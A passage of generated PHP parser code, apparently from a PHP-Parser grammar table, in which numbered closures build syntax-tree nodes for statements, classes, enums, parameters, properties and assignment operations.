=> function ($stackPos) { $this->semValue = new Stmt\Foreach_($this->semStack[$stackPos-(9-3)], $this->semStack[$stackPos-(9-7)][0], ['keyVar' => $this->semStack[$stackPos-(9-5)], 'byRef' => $this->semStack[$stackPos-(9-7)][1], 'stmts' => $this->semStack[$stackPos-(9-9)]], $this->startAttributeStack[$stackPos-(9-1)] + $this->endAttributes); }, 176 => function ($stackPos) { $this->semValue = new Stmt\Foreach_($this->semStack[$stackPos-(6-3)], new Expr\Error($this->startAttributeStack[$stackPos-(6-4)] + $this->endAttributeStack[$stackPos-(6-4)]), ['stmts' => $this->semStack[$stackPos-(6-6)]], $this->startAttributeStack[$stackPos-(6-1)] + $this->endAttributes); }, 177 => function ($stackPos) { $this->semValue = new Stmt\Declare_($this->semStack[$stackPos-(5-3)], $this->semStack[$stackPos-(5-5)], $this->startAttributeStack[$stackPos-(5-1)] + $this->endAttributes); }, 178 => function ($stackPos) { $this->semValue = new Stmt\TryCatch($this->semStack[$stackPos-(6-3)], $this->semStack[$stackPos-(6-5)], $this->semStack[$stackPos-(6-6)], $this->startAttributeStack[$stackPos-(6-1)] + $this->endAttributes); $this->checkTryCatch($this->semValue); }, 179 => function ($stackPos) { $this->semValue = new Stmt\Goto_($this->semStack[$stackPos-(3-2)], $this->startAttributeStack[$stackPos-(3-1)] + $this->endAttributes); }, 180 => function ($stackPos) { $this->semValue = new Stmt\Label($this->semStack[$stackPos-(2-1)], $this->startAttributeStack[$stackPos-(2-1)] + $this->endAttributes); }, 181 => function ($stackPos) { $this->semValue = array(); /* means: no statement */ }, 182 => function ($stackPos) { $this->semValue = $this->semStack[$stackPos-(1-1)]; }, 183 => function ($stackPos) { $startAttributes = $this->startAttributeStack[$stackPos-(1-1)]; if (isset($startAttributes['comments'])) { $this->semValue = new Stmt\Nop($startAttributes + $this->endAttributes); } else { $this->semValue = null; }; if ($this->semValue === null) $this->semValue = array(); /* means: no statement */ }, 184 => function ($stackPos) { $this->semValue = array(); }, 185 => function ($stackPos) { $this->semStack[$stackPos-(2-1)][] = $this->semStack[$stackPos-(2-2)]; $this->semValue = $this->semStack[$stackPos-(2-1)]; }, 186 => function ($stackPos) { $this->semValue = array($this->semStack[$stackPos-(1-1)]); }, 187 => function ($stackPos) { $this->semStack[$stackPos-(3-1)][] = $this->semStack[$stackPos-(3-3)]; $this->semValue = $this->semStack[$stackPos-(3-1)]; }, 188 => function ($stackPos) { $this->semValue = new Stmt\Catch_($this->semStack[$stackPos-(8-3)], $this->semStack[$stackPos-(8-4)], $this->semStack[$stackPos-(8-7)], $this->startAttributeStack[$stackPos-(8-1)] + $this->endAttributes); }, 189 => function ($stackPos) { $this->semValue = null; }, 190 => function ($stackPos) { $this->semValue = new Stmt\Finally_($this->semStack[$stackPos-(4-3)], $this->startAttributeStack[$stackPos-(4-1)] + $this->endAttributes); }, 191 => function ($stackPos) { $this->semValue = $this->semStack[$stackPos-(2-1)]; }, 192 => function ($stackPos) { $this->semValue = array($this->semStack[$stackPos-(1-1)]); }, 193 => function ($stackPos) { $this->semStack[$stackPos-(3-1)][] = $this->semStack[$stackPos-(3-3)]; $this->semValue = $this->semStack[$stackPos-(3-1)]; }, 194 => function ($stackPos) { $this->semValue = false; }, 195 => function ($stackPos) { $this->semValue = true; }, 196 => function ($stackPos) { $this->semValue = false; }, 197 => function ($stackPos) { $this->semValue = true; }, 198 => function ($stackPos) { $this->semValue = false; }, 199 => function ($stackPos) { $this->semValue = true; }, 200 => function ($stackPos) { $this->semValue = $this->semStack[$stackPos-(3-2)]; }, 201 => function ($stackPos) { $this->semValue = []; }, 202 => function ($stackPos) { $this->semValue = new Stmt\Function_($this->semStack[$stackPos-(8-3)], ['byRef' => $this->semStack[$stackPos-(8-2)], 'params' => $this->semStack[$stackPos-(8-5)], 'returnType' => $this->semStack[$stackPos-(8-7)], 'stmts' => $this->semStack[$stackPos-(8-8)], 'attrGroups' => []], $this->startAttributeStack[$stackPos-(8-1)] + $this->endAttributes); }, 203 => function ($stackPos) { $this->semValue = new Stmt\Function_($this->semStack[$stackPos-(9-4)], ['byRef' => $this->semStack[$stackPos-(9-3)], 'params' => $this->semStack[$stackPos-(9-6)], 'returnType' => $this->semStack[$stackPos-(9-8)], 'stmts' => $this->semStack[$stackPos-(9-9)], 'attrGroups' => $this->semStack[$stackPos-(9-1)]], $this->startAttributeStack[$stackPos-(9-1)] + $this->endAttributes); }, 204 => function ($stackPos) { $this->semValue = new Stmt\Class_($this->semStack[$stackPos-(8-3)], ['type' => $this->semStack[$stackPos-(8-2)], 'extends' => $this->semStack[$stackPos-(8-4)], 'implements' => $this->semStack[$stackPos-(8-5)], 'stmts' => $this->semStack[$stackPos-(8-7)], 'attrGroups' => $this->semStack[$stackPos-(8-1)]], $this->startAttributeStack[$stackPos-(8-1)] + $this->endAttributes); $this->checkClass($this->semValue, $stackPos-(8-3)); }, 205 => function ($stackPos) { $this->semValue = new Stmt\Interface_($this->semStack[$stackPos-(7-3)], ['extends' => $this->semStack[$stackPos-(7-4)], 'stmts' => $this->semStack[$stackPos-(7-6)], 'attrGroups' => $this->semStack[$stackPos-(7-1)]], $this->startAttributeStack[$stackPos-(7-1)] + $this->endAttributes); $this->checkInterface($this->semValue, $stackPos-(7-3)); }, 206 => function ($stackPos) { $this->semValue = new Stmt\Trait_($this->semStack[$stackPos-(6-3)], ['stmts' => $this->semStack[$stackPos-(6-5)], 'attrGroups' => $this->semStack[$stackPos-(6-1)]], $this->startAttributeStack[$stackPos-(6-1)] + $this->endAttributes); }, 207 => function ($stackPos) { $this->semValue = new Stmt\Enum_($this->semStack[$stackPos-(8-3)], ['scalarType' => $this->semStack[$stackPos-(8-4)], 'implements' => $this->semStack[$stackPos-(8-5)], 'stmts' => $this->semStack[$stackPos-(8-7)], 'attrGroups' => $this->semStack[$stackPos-(8-1)]], $this->startAttributeStack[$stackPos-(8-1)] + $this->endAttributes); $this->checkEnum($this->semValue, $stackPos-(8-3)); }, 208 => function ($stackPos) { $this->semValue = null; }, 209 => function ($stackPos) { $this->semValue = $this->semStack[$stackPos-(2-2)]; }, 210 => function ($stackPos) { $this->semValue = null; }, 211 => function ($stackPos) { $this->semValue = $this->semStack[$stackPos-(2-2)]; }, 212 => function ($stackPos) { $this->semValue = 0; }, 213 => function ($stackPos) { $this->semValue = Stmt\Class_::MODIFIER_ABSTRACT; }, 214 => function ($stackPos) { $this->semValue = Stmt\Class_::MODIFIER_FINAL; }, 215 => function ($stackPos) { $this->semValue = null; }, 216 => function ($stackPos) { $this->semValue = $this->semStack[$stackPos-(2-2)]; }, 217 => function ($stackPos) { $this->semValue = array(); }, 218 => function ($stackPos) { $this->semValue = $this->semStack[$stackPos-(2-2)]; }, 219 => function ($stackPos) { $this->semValue = array(); }, 220 => function ($stackPos) { $this->semValue = $this->semStack[$stackPos-(2-2)]; }, 221 => function ($stackPos) { $this->semValue = $this->semStack[$stackPos-(2-1)]; }, 222 => function ($stackPos) { $this->semValue = array($this->semStack[$stackPos-(1-1)]); }, 223 => function ($stackPos) { $this->semStack[$stackPos-(3-1)][] = $this->semStack[$stackPos-(3-3)]; $this->semValue = $this->semStack[$stackPos-(3-1)]; }, 224 => function ($stackPos) { $this->semValue = is_array($this->semStack[$stackPos-(1-1)]) ? $this->semStack[$stackPos-(1-1)] : array($this->semStack[$stackPos-(1-1)]); }, 225 => function ($stackPos) { $this->semValue = $this->semStack[$stackPos-(4-2)]; }, 226 => function ($stackPos) { $this->semValue = is_array($this->semStack[$stackPos-(1-1)]) ? $this->semStack[$stackPos-(1-1)] : array($this->semStack[$stackPos-(1-1)]); }, 227 => function ($stackPos) { $this->semValue = $this->semStack[$stackPos-(4-2)]; }, 228 => function ($stackPos) { $this->semValue = is_array($this->semStack[$stackPos-(1-1)]) ? $this->semStack[$stackPos-(1-1)] : array($this->semStack[$stackPos-(1-1)]); }, 229 => function ($stackPos) { $this->semValue = null; }, 230 => function ($stackPos) { $this->semValue = $this->semStack[$stackPos-(4-2)]; }, 231 => function ($stackPos) { $this->semValue = $this->semStack[$stackPos-(2-1)]; }, 232 => function ($stackPos) { $this->semValue = array($this->semStack[$stackPos-(1-1)]); }, 233 => function ($stackPos) { $this->semStack[$stackPos-(3-1)][] = $this->semStack[$stackPos-(3-3)]; $this->semValue = $this->semStack[$stackPos-(3-1)]; }, 234 => function ($stackPos) { $this->semValue = new Stmt\DeclareDeclare($this->semStack[$stackPos-(3-1)], $this->semStack[$stackPos-(3-3)], $this->startAttributeStack[$stackPos-(3-1)] + $this->endAttributes); }, 235 => function ($stackPos) { $this->semValue = $this->semStack[$stackPos-(3-2)]; }, 236 => function ($stackPos) { $this->semValue = $this->semStack[$stackPos-(4-3)]; }, 237 => function ($stackPos) { $this->semValue = $this->semStack[$stackPos-(4-2)]; }, 238 => function ($stackPos) { $this->semValue = $this->semStack[$stackPos-(5-3)]; }, 239 => function ($stackPos) { $this->semValue = array(); }, 240 => function ($stackPos) { $this->semStack[$stackPos-(2-1)][] = $this->semStack[$stackPos-(2-2)]; $this->semValue = $this->semStack[$stackPos-(2-1)]; }, 241 => function ($stackPos) { $this->semValue = new Stmt\Case_($this->semStack[$stackPos-(4-2)], $this->semStack[$stackPos-(4-4)], $this->startAttributeStack[$stackPos-(4-1)] + $this->endAttributes); }, 242 => function ($stackPos) { $this->semValue = new Stmt\Case_(null, $this->semStack[$stackPos-(3-3)], $this->startAttributeStack[$stackPos-(3-1)] + $this->endAttributes); }, 243 => function ($stackPos) { $this->semValue = $this->semStack[$stackPos]; }, 244 => function ($stackPos) { $this->semValue = $this->semStack[$stackPos]; }, 245 => function ($stackPos) { $this->semValue = new Expr\Match_($this->semStack[$stackPos-(7-3)], $this->semStack[$stackPos-(7-6)], $this->startAttributeStack[$stackPos-(7-1)] + $this->endAttributes); }, 246 => function ($stackPos) { $this->semValue = []; }, 247 => function ($stackPos) { $this->semValue = $this->semStack[$stackPos-(2-1)]; }, 248 => function ($stackPos) { $this->semValue = array($this->semStack[$stackPos-(1-1)]); }, 249 => function ($stackPos) { $this->semStack[$stackPos-(3-1)][] = $this->semStack[$stackPos-(3-3)]; $this->semValue = $this->semStack[$stackPos-(3-1)]; }, 250 => function ($stackPos) { $this->semValue = new Node\MatchArm($this->semStack[$stackPos-(3-1)], $this->semStack[$stackPos-(3-3)], $this->startAttributeStack[$stackPos-(3-1)] + $this->endAttributes); }, 251 => function ($stackPos) { $this->semValue = new Node\MatchArm(null, $this->semStack[$stackPos-(4-4)], $this->startAttributeStack[$stackPos-(4-1)] + $this->endAttributes); }, 252 => function ($stackPos) { $this->semValue = is_array($this->semStack[$stackPos-(1-1)]) ? $this->semStack[$stackPos-(1-1)] : array($this->semStack[$stackPos-(1-1)]); }, 253 => function ($stackPos) { $this->semValue = $this->semStack[$stackPos-(4-2)]; }, 254 => function ($stackPos) { $this->semValue = array(); }, 255 => function ($stackPos) { $this->semStack[$stackPos-(2-1)][] = $this->semStack[$stackPos-(2-2)]; $this->semValue = $this->semStack[$stackPos-(2-1)]; }, 256 => function ($stackPos) { $this->semValue = new Stmt\ElseIf_($this->semStack[$stackPos-(5-3)], is_array($this->semStack[$stackPos-(5-5)]) ? $this->semStack[$stackPos-(5-5)] : array($this->semStack[$stackPos-(5-5)]), $this->startAttributeStack[$stackPos-(5-1)] + $this->endAttributes); }, 257 => function ($stackPos) { $this->semValue = array(); }, 258 => function ($stackPos) { $this->semStack[$stackPos-(2-1)][] = $this->semStack[$stackPos-(2-2)]; $this->semValue = $this->semStack[$stackPos-(2-1)]; }, 259 => function ($stackPos) { $this->semValue = new Stmt\ElseIf_($this->semStack[$stackPos-(6-3)], $this->semStack[$stackPos-(6-6)], $this->startAttributeStack[$stackPos-(6-1)] + $this->endAttributes); }, 260 => function ($stackPos) { $this->semValue = null; }, 261 => function ($stackPos) { $this->semValue = new Stmt\Else_(is_array($this->semStack[$stackPos-(2-2)]) ? $this->semStack[$stackPos-(2-2)] : array($this->semStack[$stackPos-(2-2)]), $this->startAttributeStack[$stackPos-(2-1)] + $this->endAttributes); }, 262 => function ($stackPos) { $this->semValue = null; }, 263 => function ($stackPos) { $this->semValue = new Stmt\Else_($this->semStack[$stackPos-(3-3)], $this->startAttributeStack[$stackPos-(3-1)] + $this->endAttributes); }, 264 => function ($stackPos) { $this->semValue = array($this->semStack[$stackPos-(1-1)], false); }, 265 => function ($stackPos) { $this->semValue = array($this->semStack[$stackPos-(2-2)], true); }, 266 => function ($stackPos) { $this->semValue = array($this->semStack[$stackPos-(1-1)], false); }, 267 => function ($stackPos) { $this->semValue = array($this->semStack[$stackPos-(1-1)], false); }, 268 => function ($stackPos) { $this->semValue = $this->semStack[$stackPos-(2-1)]; }, 269 => function ($stackPos) { $this->semValue = array(); }, 270 => function ($stackPos) { $this->semValue = array($this->semStack[$stackPos-(1-1)]); }, 271 => function ($stackPos) { $this->semStack[$stackPos-(3-1)][] = $this->semStack[$stackPos-(3-3)]; $this->semValue = $this->semStack[$stackPos-(3-1)]; }, 272 => function ($stackPos) { $this->semValue = 0; }, 273 => function ($stackPos) { $this->checkModifier($this->semStack[$stackPos-(2-1)], $this->semStack[$stackPos-(2-2)], $stackPos-(2-2)); $this->semValue = $this->semStack[$stackPos-(2-1)] | $this->semStack[$stackPos-(2-2)]; }, 274 => function ($stackPos) { $this->semValue = Stmt\Class_::MODIFIER_PUBLIC; }, 275 => function ($stackPos) { $this->semValue = Stmt\Class_::MODIFIER_PROTECTED; }, 276 => function ($stackPos) { $this->semValue = Stmt\Class_::MODIFIER_PRIVATE; }, 277 => function ($stackPos) { $this->semValue = Stmt\Class_::MODIFIER_READONLY; }, 278 => function ($stackPos) { $this->semValue = new Node\Param($this->semStack[$stackPos-(6-6)], null, $this->semStack[$stackPos-(6-3)], $this->semStack[$stackPos-(6-4)], $this->semStack[$stackPos-(6-5)], $this->startAttributeStack[$stackPos-(6-1)] + $this->endAttributes, $this->semStack[$stackPos-(6-2)], $this->semStack[$stackPos-(6-1)]); $this->checkParam($this->semValue); }, 279 => function ($stackPos) { $this->semValue = new Node\Param($this->semStack[$stackPos-(8-6)], $this->semStack[$stackPos-(8-8)], $this->semStack[$stackPos-(8-3)], $this->semStack[$stackPos-(8-4)], $this->semStack[$stackPos-(8-5)], $this->startAttributeStack[$stackPos-(8-1)] + $this->endAttributes, $this->semStack[$stackPos-(8-2)], $this->semStack[$stackPos-(8-1)]); $this->checkParam($this->semValue); }, 280 => function ($stackPos) { $this->semValue = new Node\Param(new Expr\Error($this->startAttributeStack[$stackPos-(6-1)] + $this->endAttributes), null, $this->semStack[$stackPos-(6-3)], $this->semStack[$stackPos-(6-4)], $this->semStack[$stackPos-(6-5)], $this->startAttributeStack[$stackPos-(6-1)] + $this->endAttributes, $this->semStack[$stackPos-(6-2)], $this->semStack[$stackPos-(6-1)]); }, 281 => function ($stackPos) { $this->semValue = $this->semStack[$stackPos-(1-1)]; }, 282 => function ($stackPos) { $this->semValue = new Node\NullableType($this->semStack[$stackPos-(2-2)], $this->startAttributeStack[$stackPos-(2-1)] + $this->endAttributes); }, 283 => function ($stackPos) { $this->semValue = new Node\UnionType($this->semStack[$stackPos-(1-1)], $this->startAttributeStack[$stackPos-(1-1)] + $this->endAttributes); }, 284 => function ($stackPos) { $this->semValue = new Node\IntersectionType($this->semStack[$stackPos-(1-1)], $this->startAttributeStack[$stackPos-(1-1)] + $this->endAttributes); }, 285 => function ($stackPos) { $this->semValue = $this->semStack[$stackPos-(1-1)]; }, 286 => function ($stackPos) { $this->semValue = new Node\Name('static', $this->startAttributeStack[$stackPos-(1-1)] + $this->endAttributes); }, 287 => function ($stackPos) { $this->semValue = $this->handleBuiltinTypes($this->semStack[$stackPos-(1-1)]); }, 288 => function ($stackPos) { $this->semValue = new Node\Identifier('array', $this->startAttributeStack[$stackPos-(1-1)] + $this->endAttributes); }, 289 => function ($stackPos) { $this->semValue = new Node\Identifier('callable', $this->startAttributeStack[$stackPos-(1-1)] + $this->endAttributes); }, 290 => function ($stackPos) { $this->semValue = array($this->semStack[$stackPos-(3-1)], $this->semStack[$stackPos-(3-3)]); }, 291 => function ($stackPos) { $this->semStack[$stackPos-(3-1)][] = $this->semStack[$stackPos-(3-3)]; $this->semValue = $this->semStack[$stackPos-(3-1)]; }, 292 => function ($stackPos) { $this->semValue = array($this->semStack[$stackPos-(3-1)], $this->semStack[$stackPos-(3-3)]); }, 293 => function ($stackPos) { $this->semStack[$stackPos-(3-1)][] = $this->semStack[$stackPos-(3-3)]; $this->semValue = $this->semStack[$stackPos-(3-1)]; }, 294 => function ($stackPos) { $this->semValue = array($this->semStack[$stackPos-(3-1)], $this->semStack[$stackPos-(3-3)]); }, 295 => function ($stackPos) { $this->semStack[$stackPos-(3-1)][] = $this->semStack[$stackPos-(3-3)]; $this->semValue = $this->semStack[$stackPos-(3-1)]; }, 296 => function ($stackPos) { $this->semValue = array($this->semStack[$stackPos-(3-1)], $this->semStack[$stackPos-(3-3)]); }, 297 => function ($stackPos) { $this->semStack[$stackPos-(3-1)][] = $this->semStack[$stackPos-(3-3)]; $this->semValue = $this->semStack[$stackPos-(3-1)]; }, 298 => function ($stackPos) { $this->semValue = $this->semStack[$stackPos-(1-1)]; }, 299 => function ($stackPos) { $this->semValue = new Node\NullableType($this->semStack[$stackPos-(2-2)], $this->startAttributeStack[$stackPos-(2-1)] + $this->endAttributes); }, 300 => function ($stackPos) { $this->semValue = new Node\UnionType($this->semStack[$stackPos-(1-1)], $this->startAttributeStack[$stackPos-(1-1)] + $this->endAttributes); }, 301 => function ($stackPos) { $this->semValue = new Node\IntersectionType($this->semStack[$stackPos-(1-1)], $this->startAttributeStack[$stackPos-(1-1)] + $this->endAttributes); }, 302 => function ($stackPos) { $this->semValue = null; }, 303 => function ($stackPos) { $this->semValue = $this->semStack[$stackPos-(1-1)]; }, 304 => function ($stackPos) { $this->semValue = null; }, 305 => function ($stackPos) { $this->semValue = $this->semStack[$stackPos-(2-2)]; }, 306 => function ($stackPos) { $this->semValue = null; }, 307 => function ($stackPos) { $this->semValue = array(); }, 308 => function ($stackPos) { $this->semValue = $this->semStack[$stackPos-(4-2)]; }, 309 => function ($stackPos) { $this->semValue = array($this->semStack[$stackPos-(3-2)]); }, 310 => function ($stackPos) { $this->semValue = new Node\VariadicPlaceholder($this->startAttributeStack[$stackPos-(1-1)] + $this->endAttributes); }, 311 => function ($stackPos) { $this->semValue = array($this->semStack[$stackPos-(1-1)]); }, 312 => function ($stackPos) { $this->semStack[$stackPos-(3-1)][] = $this->semStack[$stackPos-(3-3)]; $this->semValue = $this->semStack[$stackPos-(3-1)]; }, 313 => function ($stackPos) { $this->semValue = new Node\Arg($this->semStack[$stackPos-(1-1)], false, false, $this->startAttributeStack[$stackPos-(1-1)] + $this->endAttributes); }, 314 => function ($stackPos) { $this->semValue = new Node\Arg($this->semStack[$stackPos-(2-2)], true, false, $this->startAttributeStack[$stackPos-(2-1)] + $this->endAttributes); }, 315 => function ($stackPos) { $this->semValue = new Node\Arg($this->semStack[$stackPos-(2-2)], false, true, $this->startAttributeStack[$stackPos-(2-1)] + $this->endAttributes); }, 316 => function ($stackPos) { $this->semValue = new Node\Arg($this->semStack[$stackPos-(3-3)], false, false, $this->startAttributeStack[$stackPos-(3-1)] + $this->endAttributes, $this->semStack[$stackPos-(3-1)]); }, 317 => function ($stackPos) { $this->semValue = $this->semStack[$stackPos-(2-1)]; }, 318 => function ($stackPos) { $this->semStack[$stackPos-(3-1)][] = $this->semStack[$stackPos-(3-3)]; $this->semValue = $this->semStack[$stackPos-(3-1)]; }, 319 => function ($stackPos) { $this->semValue = array($this->semStack[$stackPos-(1-1)]); }, 320 => function ($stackPos) { $this->semValue = $this->semStack[$stackPos-(1-1)]; }, 321 => function ($stackPos) { $this->semValue = $this->semStack[$stackPos-(2-1)]; }, 322 => function ($stackPos) { $this->semStack[$stackPos-(3-1)][] = $this->semStack[$stackPos-(3-3)]; $this->semValue = $this->semStack[$stackPos-(3-1)]; }, 323 => function ($stackPos) { $this->semValue = array($this->semStack[$stackPos-(1-1)]); }, 324 => function ($stackPos) { $this->semValue = new Stmt\StaticVar($this->semStack[$stackPos-(1-1)], null, $this->startAttributeStack[$stackPos-(1-1)] + $this->endAttributes); }, 325 => function ($stackPos) { $this->semValue = new Stmt\StaticVar($this->semStack[$stackPos-(3-1)], $this->semStack[$stackPos-(3-3)], $this->startAttributeStack[$stackPos-(3-1)] + $this->endAttributes); }, 326 => function ($stackPos) { if ($this->semStack[$stackPos-(2-2)] !== null) { $this->semStack[$stackPos-(2-1)][] = $this->semStack[$stackPos-(2-2)]; $this->semValue = $this->semStack[$stackPos-(2-1)]; } }, 327 => function ($stackPos) { $this->semValue = array(); }, 328 => function ($stackPos) { $startAttributes = $this->lookaheadStartAttributes; if (isset($startAttributes['comments'])) { $nop = new Stmt\Nop($this->createCommentNopAttributes($startAttributes['comments'])); } else { $nop = null; }; if ($nop !== null) { $this->semStack[$stackPos-(1-1)][] = $nop; } $this->semValue = $this->semStack[$stackPos-(1-1)]; }, 329 => function ($stackPos) { $this->semValue = new Stmt\Property($this->semStack[$stackPos-(5-2)], $this->semStack[$stackPos-(5-4)], $this->startAttributeStack[$stackPos-(5-1)] + $this->endAttributes, $this->semStack[$stackPos-(5-3)], $this->semStack[$stackPos-(5-1)]); $this->checkProperty($this->semValue, $stackPos-(5-2)); }, 330 => function ($stackPos) { $this->semValue = new Stmt\ClassConst($this->semStack[$stackPos-(5-4)], $this->semStack[$stackPos-(5-2)], $this->startAttributeStack[$stackPos-(5-1)] + $this->endAttributes, $this->semStack[$stackPos-(5-1)]); $this->checkClassConst($this->semValue, $stackPos-(5-2)); }, 331 => function ($stackPos) { $this->semValue = new Stmt\ClassMethod($this->semStack[$stackPos-(10-5)], ['type' => $this->semStack[$stackPos-(10-2)], 'byRef' => $this->semStack[$stackPos-(10-4)], 'params' => $this->semStack[$stackPos-(10-7)], 'returnType' => $this->semStack[$stackPos-(10-9)], 'stmts' => $this->semStack[$stackPos-(10-10)], 'attrGroups' => $this->semStack[$stackPos-(10-1)]], $this->startAttributeStack[$stackPos-(10-1)] + $this->endAttributes); $this->checkClassMethod($this->semValue, $stackPos-(10-2)); }, 332 => function ($stackPos) { $this->semValue = new Stmt\TraitUse($this->semStack[$stackPos-(3-2)], $this->semStack[$stackPos-(3-3)], $this->startAttributeStack[$stackPos-(3-1)] + $this->endAttributes); }, 333 => function ($stackPos) { $this->semValue = new Stmt\EnumCase($this->semStack[$stackPos-(5-3)], $this->semStack[$stackPos-(5-4)], $this->semStack[$stackPos-(5-1)], $this->startAttributeStack[$stackPos-(5-1)] + $this->endAttributes); }, 334 => function ($stackPos) { $this->semValue = null; /* will be skipped */ }, 335 => function ($stackPos) { $this->semValue = array(); }, 336 => function ($stackPos) { $this->semValue = $this->semStack[$stackPos-(3-2)]; }, 337 => function ($stackPos) { $this->semValue = array(); }, 338 => function ($stackPos) { $this->semStack[$stackPos-(2-1)][] = $this->semStack[$stackPos-(2-2)]; $this->semValue = $this->semStack[$stackPos-(2-1)]; }, 339 => function ($stackPos) { $this->semValue = new Stmt\TraitUseAdaptation\Precedence($this->semStack[$stackPos-(4-1)][0], $this->semStack[$stackPos-(4-1)][1], $this->semStack[$stackPos-(4-3)], $this->startAttributeStack[$stackPos-(4-1)] + $this->endAttributes); }, 340 => function ($stackPos) { $this->semValue = new Stmt\TraitUseAdaptation\Alias($this->semStack[$stackPos-(5-1)][0], $this->semStack[$stackPos-(5-1)][1], $this->semStack[$stackPos-(5-3)], $this->semStack[$stackPos-(5-4)], $this->startAttributeStack[$stackPos-(5-1)] + $this->endAttributes); }, 341 => function ($stackPos) { $this->semValue = new Stmt\TraitUseAdaptation\Alias($this->semStack[$stackPos-(4-1)][0], $this->semStack[$stackPos-(4-1)][1], $this->semStack[$stackPos-(4-3)], null, $this->startAttributeStack[$stackPos-(4-1)] + $this->endAttributes); }, 342 => function ($stackPos) { $this->semValue = new Stmt\TraitUseAdaptation\Alias($this->semStack[$stackPos-(4-1)][0], $this->semStack[$stackPos-(4-1)][1], null, $this->semStack[$stackPos-(4-3)], $this->startAttributeStack[$stackPos-(4-1)] + $this->endAttributes); }, 343 => function ($stackPos) { $this->semValue = new Stmt\TraitUseAdaptation\Alias($this->semStack[$stackPos-(4-1)][0], $this->semStack[$stackPos-(4-1)][1], null, $this->semStack[$stackPos-(4-3)], $this->startAttributeStack[$stackPos-(4-1)] + $this->endAttributes); }, 344 => function ($stackPos) { $this->semValue = array($this->semStack[$stackPos-(3-1)], $this->semStack[$stackPos-(3-3)]); }, 345 => function ($stackPos) { $this->semValue = $this->semStack[$stackPos-(1-1)]; }, 346 => function ($stackPos) { $this->semValue = array(null, $this->semStack[$stackPos-(1-1)]); }, 347 => function ($stackPos) { $this->semValue = null; }, 348 => function ($stackPos) { $this->semValue = $this->semStack[$stackPos-(1-1)]; }, 349 => function ($stackPos) { $this->semValue = $this->semStack[$stackPos-(1-1)]; }, 350 => function ($stackPos) { $this->semValue = 0; }, 351 => function ($stackPos) { $this->semValue = 0; }, 352 => function ($stackPos) { $this->semValue = $this->semStack[$stackPos-(1-1)]; }, 353 => function ($stackPos) { $this->semValue = $this->semStack[$stackPos-(1-1)]; }, 354 => function ($stackPos) { $this->checkModifier($this->semStack[$stackPos-(2-1)], $this->semStack[$stackPos-(2-2)], $stackPos-(2-2)); $this->semValue = $this->semStack[$stackPos-(2-1)] | $this->semStack[$stackPos-(2-2)]; }, 355 => function ($stackPos) { $this->semValue = Stmt\Class_::MODIFIER_PUBLIC; }, 356 => function ($stackPos) { $this->semValue = Stmt\Class_::MODIFIER_PROTECTED; }, 357 => function ($stackPos) { $this->semValue = Stmt\Class_::MODIFIER_PRIVATE; }, 358 => function ($stackPos) { $this->semValue = Stmt\Class_::MODIFIER_STATIC; }, 359 => function ($stackPos) { $this->semValue = Stmt\Class_::MODIFIER_ABSTRACT; }, 360 => function ($stackPos) { $this->semValue = Stmt\Class_::MODIFIER_FINAL; }, 361 => function ($stackPos) { $this->semValue = Stmt\Class_::MODIFIER_READONLY; }, 362 => function ($stackPos) { $this->semValue = $this->semStack[$stackPos-(2-1)]; }, 363 => function ($stackPos) { $this->semValue = array($this->semStack[$stackPos-(1-1)]); }, 364 => function ($stackPos) { $this->semStack[$stackPos-(3-1)][] = $this->semStack[$stackPos-(3-3)]; $this->semValue = $this->semStack[$stackPos-(3-1)]; }, 365 => function ($stackPos) { $this->semValue = new Node\VarLikeIdentifier(substr($this->semStack[$stackPos-(1-1)], 1), $this->startAttributeStack[$stackPos-(1-1)] + $this->endAttributes); }, 366 => function ($stackPos) { $this->semValue = new Stmt\PropertyProperty($this->semStack[$stackPos-(1-1)], null, $this->startAttributeStack[$stackPos-(1-1)] + $this->endAttributes); }, 367 => function ($stackPos) { $this->semValue = new Stmt\PropertyProperty($this->semStack[$stackPos-(3-1)], $this->semStack[$stackPos-(3-3)], $this->startAttributeStack[$stackPos-(3-1)] + $this->endAttributes); }, 368 => function ($stackPos) { $this->semValue = $this->semStack[$stackPos-(2-1)]; }, 369 => function ($stackPos) { $this->semValue = $this->semStack[$stackPos-(2-1)]; }, 370 => function ($stackPos) { $this->semStack[$stackPos-(3-1)][] = $this->semStack[$stackPos-(3-3)]; $this->semValue = $this->semStack[$stackPos-(3-1)]; }, 371 => function ($stackPos) { $this->semValue = array($this->semStack[$stackPos-(1-1)]); }, 372 => function ($stackPos) { $this->semValue = array(); }, 373 => function ($stackPos) { $this->semValue = $this->semStack[$stackPos-(1-1)]; }, 374 => function ($stackPos) { $this->semValue = $this->semStack[$stackPos-(1-1)]; }, 375 => function ($stackPos) { $this->semValue = new Expr\Assign($this->semStack[$stackPos-(3-1)], $this->semStack[$stackPos-(3-3)], $this->startAttributeStack[$stackPos-(3-1)] + $this->endAttributes); }, 376 => function ($stackPos) { $this->semValue = new Expr\Assign($this->semStack[$stackPos-(3-1)], $this->semStack[$stackPos-(3-3)], $this->startAttributeStack[$stackPos-(3-1)] + $this->endAttributes); }, 377 => function ($stackPos) { $this->semValue = new Expr\Assign($this->semStack[$stackPos-(3-1)], $this->semStack[$stackPos-(3-3)], $this->startAttributeStack[$stackPos-(3-1)] + $this->endAttributes); }, 378 => function ($stackPos) { $this->semValue = new Expr\AssignRef($this->semStack[$stackPos-(4-1)], $this->semStack[$stackPos-(4-4)], $this->startAttributeStack[$stackPos-(4-1)] + $this->endAttributes); }, 379 => function ($stackPos) { $this->semValue = $this->semStack[$stackPos-(1-1)]; }, 380 => function ($stackPos) { $this->semValue = $this->semStack[$stackPos-(1-1)]; }, 381 => function ($stackPos) { $this->semValue = new Expr\Clone_($this->semStack[$stackPos-(2-2)], $this->startAttributeStack[$stackPos-(2-1)] + $this->endAttributes); }, 382 => function ($stackPos) { $this->semValue = new Expr\AssignOp\Plus($this->semStack[$stackPos-(3-1)], $this->semStack[$stackPos-(3-3)], $this->startAttributeStack[$stackPos-(3-1)] + $this->endAttributes); }, 383 => function ($stackPos) { $this->semValue = new Expr\AssignOp\Minus($this->semStack[$stackPos-(3-1)], $this->semStack[$stackPos-(3-3)], $this->startAttributeStack[$stackPos-(3-1)] + $this->endAttributes); }, 384 => function ($stackPos) { $this->semValue = new Expr\AssignOp\Mul($this->semStack[$stackPos-(3-1)], $this->semStack[$stackPos-(3-3)], $this->startAttributeStack[$stackPos-(3-1)] + $this->endAttributes); }, 385 => function ($stackPos) { $this->semValue = new Expr\AssignOp\Div($this->semStack[$stackPos-(3-1)], $this->semStack[$stackPos-(3-3)], $this->startAttributeStack[$stackPos-(3-1)] + $this->endAttributes); }, 386 => function ($stackPos) { $this->semValue = new 